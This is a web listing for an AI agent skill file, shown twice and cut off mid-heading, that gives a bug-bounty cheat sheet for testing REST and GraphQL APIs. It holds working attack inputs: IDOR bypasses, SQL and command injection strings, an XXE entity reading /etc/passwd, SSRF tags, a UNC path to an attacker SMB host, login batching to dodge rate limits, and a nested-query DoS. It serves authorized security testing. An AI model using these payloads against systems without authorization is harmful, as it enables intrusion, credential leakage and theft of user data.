api-fuzzing-bug-bounty

Name: api-fuzzing-bug-bounty
Author: SamarthaKV29

64stars12forks

How to install api-fuzzing-bug-bounty?

samarthakv29/antigravity-god-mode/api-fuzzing-bug-bounty

$npx -y skills add SamarthaKV29/antigravity-god-mode --skill api-fuzzing-bug-bounty

Installs into the current project.

Summary

This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.

Files · 1

View on GitHub

SKILL.md

1	# API Fuzzing for Bug Bounty
2
3	## Purpose
4
5	Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
6
7	## Inputs/Prerequisites
8
9	- Burp Suite or similar proxy tool
10	- API wordlists (SecLists, api_wordlist)
11	- Understanding of REST/GraphQL/SOAP protocols
12	- Python for scripting
13	- Target API endpoints and documentation (if available)
14
15	## Outputs/Deliverables
16
17	- Identified API vulnerabilities
18	- IDOR exploitation proofs
19	- Authentication bypass techniques
20	- SQL injection points
21	- Unauthorized data access documentation
22
23	---
24
25	## API Types Overview
26
27	\| Type \| Protocol \| Data Format \| Structure \|
28	\|------\|----------\|-------------\|-----------\|
29	\| SOAP \| HTTP \| XML \| Header + Body \|
30	\| REST \| HTTP \| JSON/XML/URL \| Defined endpoints \|
31	\| GraphQL \| HTTP \| Custom Query \| Single endpoint \|
32
33	---
34
35	## Core Workflow
36
37	### Step 1: API Reconnaissance
38
39	Identify API type and enumerate endpoints:
40
41	```bash
42	# Check for Swagger/OpenAPI documentation
43	/swagger.json
44	/openapi.json
45	/api-docs
46	/v1/api-docs
47	/swagger-ui.html
48
49	# Use Kiterunner for API discovery
50	kr scan https://target.com -w routes-large.kite
51
52	# Extract paths from Swagger
53	python3 json2paths.py swagger.json
54	```
55
56	### Step 2: Authentication Testing
57
58	```bash
59	# Test different login paths
60	/api/mobile/login
61	/api/v3/login
62	/api/magic_link
63	/api/admin/login
64
65	# Check rate limiting on auth endpoints
66	# If no rate limit → brute force possible
67
68	# Test mobile vs web API separately
69	# Don't assume same security controls
70	```
71
72	### Step 3: IDOR Testing
73
74	Insecure Direct Object Reference is the most common API vulnerability:
75
76	```bash
77	# Basic IDOR
78	GET /api/users/1234 → GET /api/users/1235
79
80	# Even if ID is email-based, try numeric
81	/?user_id=111 instead of /?user_id=user@mail.com
82
83	# Test /me/orders vs /user/654321/orders
84	```
85
86	IDOR Bypass Techniques:
87
88	```bash
89	# Wrap ID in array
90	{"id":111} → {"id":[111]}
91
92	# JSON wrap
93	{"id":111} → {"id":{"id":111}}
94
95	# Send ID twice
96	URL?id=<LEGIT>&id=<VICTIM>
97
98	# Wildcard injection
99	{"user_id":"*"}
100
101	# Parameter pollution
102	/api/get_profile?user_id=<victim>&user_id=<legit>
103	{"user_id":<legit_id>,"user_id":<victim_id>}
104	```
105
106	### Step 4: Injection Testing
107
108	SQL Injection in JSON:
109
110	```json
111	{"id":"56456"} → OK
112	{"id":"56456 AND 1=1#"} → OK
113	{"id":"56456 AND 1=2#"} → OK
114	{"id":"56456 AND 1=3#"} → ERROR (vulnerable!)
115	{"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC
116	```
117
118	Command Injection:
119
120	```bash
121	# Ruby on Rails
122	?url=Kernel#open → ?url=\|ls
123
124	# Linux command injection
125	api.url.com/endpoint?name=file.txt;ls%20/
126	```
127
128	XXE Injection:
129
130	```xml
131	<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
132	```
133
134	SSRF via API:
135
136	```html
137	<object data="http://127.0.0.1:8443"/>
138	<img src="http://127.0.0.1:445"/>
139	```
140
141	.NET Path.Combine Vulnerability:
142
143	```bash
144	# If .NET app uses Path.Combine(path_1, path_2)
145	# Test for path traversal
146	https://example.org/download?filename=a.png
147	https://example.org/download?filename=C:\inetpub\wwwroot\web.config
148	https://example.org/download?filename=\\smb.dns.attacker.com\a.png
149	```
150
151	### Step 5: Method Testing
152
153	```bash
154	# Test all HTTP methods
155	GET /api/v1/users/1
156	POST /api/v1/users/1
157	PUT /api/v1/users/1
158	DELETE /api/v1/users/1
159	PATCH /api/v1/users/1
160
161	# Switch content type
162	Content-Type: application/json → application/xml
163	```
164
165	---
166
167	## GraphQL-Specific Testing
168
169	### Introspection Query
170
171	Fetch entire backend schema:
172
173	```graphql
174	{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
175	```
176
177	URL-encoded version:
178
179	```
180	/graphql?query={__schema{types{name,kind,description,fields{name}}}}
181	```
182
183	### GraphQL IDOR
184
185	```graphql
186	# Try accessing other user IDs
187	query {
188	user(id: "OTHER_USER_ID") {
189	email
190	password
191	creditCard
192	}
193	}
194	```
195
196	### GraphQL SQL/NoSQL Injection
197
198	```graphql
199	mutation {
200	login(input: {
201	email: "test' or 1=1--"
202	password: "password"
203	}) {
204	success
205	jwt
206	}
207	}
208	```
209
210	### Rate Limit Bypass (Batching)
211
212	```graphql
213	mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
214	mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
215	mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
216	```
217
218	### GraphQL DoS (Nested Queries)
219
220	```graphql
221	query {
222	posts {
223	comments {
224	user {
225	posts {
226	comments {
227	user {
228	posts { ... }
229	}
230	}
231	}
232	}
233	}
234	}
235	}
236	```
237
238	##

People who liked this also viewed

6 picks

Type

api-fuzzing-bug-bounty

64stars12forks

View on GitHub

How to install api-fuzzing-bug-bounty?

samarthakv29/antigravity-god-mode/api-fuzzing-bug-bounty

$npx -y skills add SamarthaKV29/antigravity-god-mode --skill api-fuzzing-bug-bounty

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# API Fuzzing for Bug Bounty
2
3	## Purpose
4
5	Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
6
7	## Inputs/Prerequisites
8
9	- Burp Suite or similar proxy tool
10	- API wordlists (SecLists, api_wordlist)
11	- Understanding of REST/GraphQL/SOAP protocols
12	- Python for scripting
13	- Target API endpoints and documentation (if available)
14
15	## Outputs/Deliverables
16
17	- Identified API vulnerabilities
18	- IDOR exploitation proofs
19	- Authentication bypass techniques
20	- SQL injection points
21	- Unauthorized data access documentation
22
23	---
24
25	## API Types Overview
26
27	\| Type \| Protocol \| Data Format \| Structure \|
28	\|------\|----------\|-------------\|-----------\|
29	\| SOAP \| HTTP \| XML \| Header + Body \|
30	\| REST \| HTTP \| JSON/XML/URL \| Defined endpoints \|
31	\| GraphQL \| HTTP \| Custom Query \| Single endpoint \|
32
33	---
34
35	## Core Workflow
36
37	### Step 1: API Reconnaissance
38
39	Identify API type and enumerate endpoints:
40
41	```bash
42	# Check for Swagger/OpenAPI documentation
43	/swagger.json
44	/openapi.json
45	/api-docs
46	/v1/api-docs
47	/swagger-ui.html
48
49	# Use Kiterunner for API discovery
50	kr scan https://target.com -w routes-large.kite
51
52	# Extract paths from Swagger
53	python3 json2paths.py swagger.json
54	```
55
56	### Step 2: Authentication Testing
57
58	```bash
59	# Test different login paths
60	/api/mobile/login
61	/api/v3/login
62	/api/magic_link
63	/api/admin/login
64
65	# Check rate limiting on auth endpoints
66	# If no rate limit → brute force possible
67
68	# Test mobile vs web API separately
69	# Don't assume same security controls
70	```
71
72	### Step 3: IDOR Testing
73
74	Insecure Direct Object Reference is the most common API vulnerability:
75
76	```bash
77	# Basic IDOR
78	GET /api/users/1234 → GET /api/users/1235
79
80	# Even if ID is email-based, try numeric
81	/?user_id=111 instead of /?user_id=user@mail.com
82
83	# Test /me/orders vs /user/654321/orders
84	```
85
86	IDOR Bypass Techniques:
87
88	```bash
89	# Wrap ID in array
90	{"id":111} → {"id":[111]}
91
92	# JSON wrap
93	{"id":111} → {"id":{"id":111}}
94
95	# Send ID twice
96	URL?id=<LEGIT>&id=<VICTIM>
97
98	# Wildcard injection
99	{"user_id":"*"}
100
101	# Parameter pollution
102	/api/get_profile?user_id=<victim>&user_id=<legit>
103	{"user_id":<legit_id>,"user_id":<victim_id>}
104	```
105
106	### Step 4: Injection Testing
107
108	SQL Injection in JSON:
109
110	```json
111	{"id":"56456"} → OK
112	{"id":"56456 AND 1=1#"} → OK
113	{"id":"56456 AND 1=2#"} → OK
114	{"id":"56456 AND 1=3#"} → ERROR (vulnerable!)
115	{"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC
116	```
117
118	Command Injection:
119
120	```bash
121	# Ruby on Rails
122	?url=Kernel#open → ?url=\|ls
123
124	# Linux command injection
125	api.url.com/endpoint?name=file.txt;ls%20/
126	```
127
128	XXE Injection:
129
130	```xml
131	<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
132	```
133
134	SSRF via API:
135
136	```html
137	<object data="http://127.0.0.1:8443"/>
138	<img src="http://127.0.0.1:445"/>
139	```
140
141	.NET Path.Combine Vulnerability:
142
143	```bash
144	# If .NET app uses Path.Combine(path_1, path_2)
145	# Test for path traversal
146	https://example.org/download?filename=a.png
147	https://example.org/download?filename=C:\inetpub\wwwroot\web.config
148	https://example.org/download?filename=\\smb.dns.attacker.com\a.png
149	```
150
151	### Step 5: Method Testing
152
153	```bash
154	# Test all HTTP methods
155	GET /api/v1/users/1
156	POST /api/v1/users/1
157	PUT /api/v1/users/1
158	DELETE /api/v1/users/1
159	PATCH /api/v1/users/1
160
161	# Switch content type
162	Content-Type: application/json → application/xml
163	```
164
165	---
166
167	## GraphQL-Specific Testing
168
169	### Introspection Query
170
171	Fetch entire backend schema:
172
173	```graphql
174	{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
175	```
176
177	URL-encoded version:
178
179	```
180	/graphql?query={__schema{types{name,kind,description,fields{name}}}}
181	```
182
183	### GraphQL IDOR
184
185	```graphql
186	# Try accessing other user IDs
187	query {
188	user(id: "OTHER_USER_ID") {
189	email
190	password
191	creditCard
192	}
193	}
194	```
195
196	### GraphQL SQL/NoSQL Injection
197
198	```graphql
199	mutation {
200	login(input: {
201	email: "test' or 1=1--"
202	password: "password"
203	}) {
204	success
205	jwt
206	}
207	}
208	```
209
210	### Rate Limit Bypass (Batching)
211
212	```graphql
213	mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
214	mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
215	mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
216	```
217
218	### GraphQL DoS (Nested Queries)
219
220	```graphql
221	query {
222	posts {
223	comments {
224	user {
225	posts {
226	comments {
227	user {
228	posts { ... }
229	}
230	}
231	}
232	}
233	}
234	}
235	}
236	```
237
238	##

People who liked this also viewed

6 picks

Type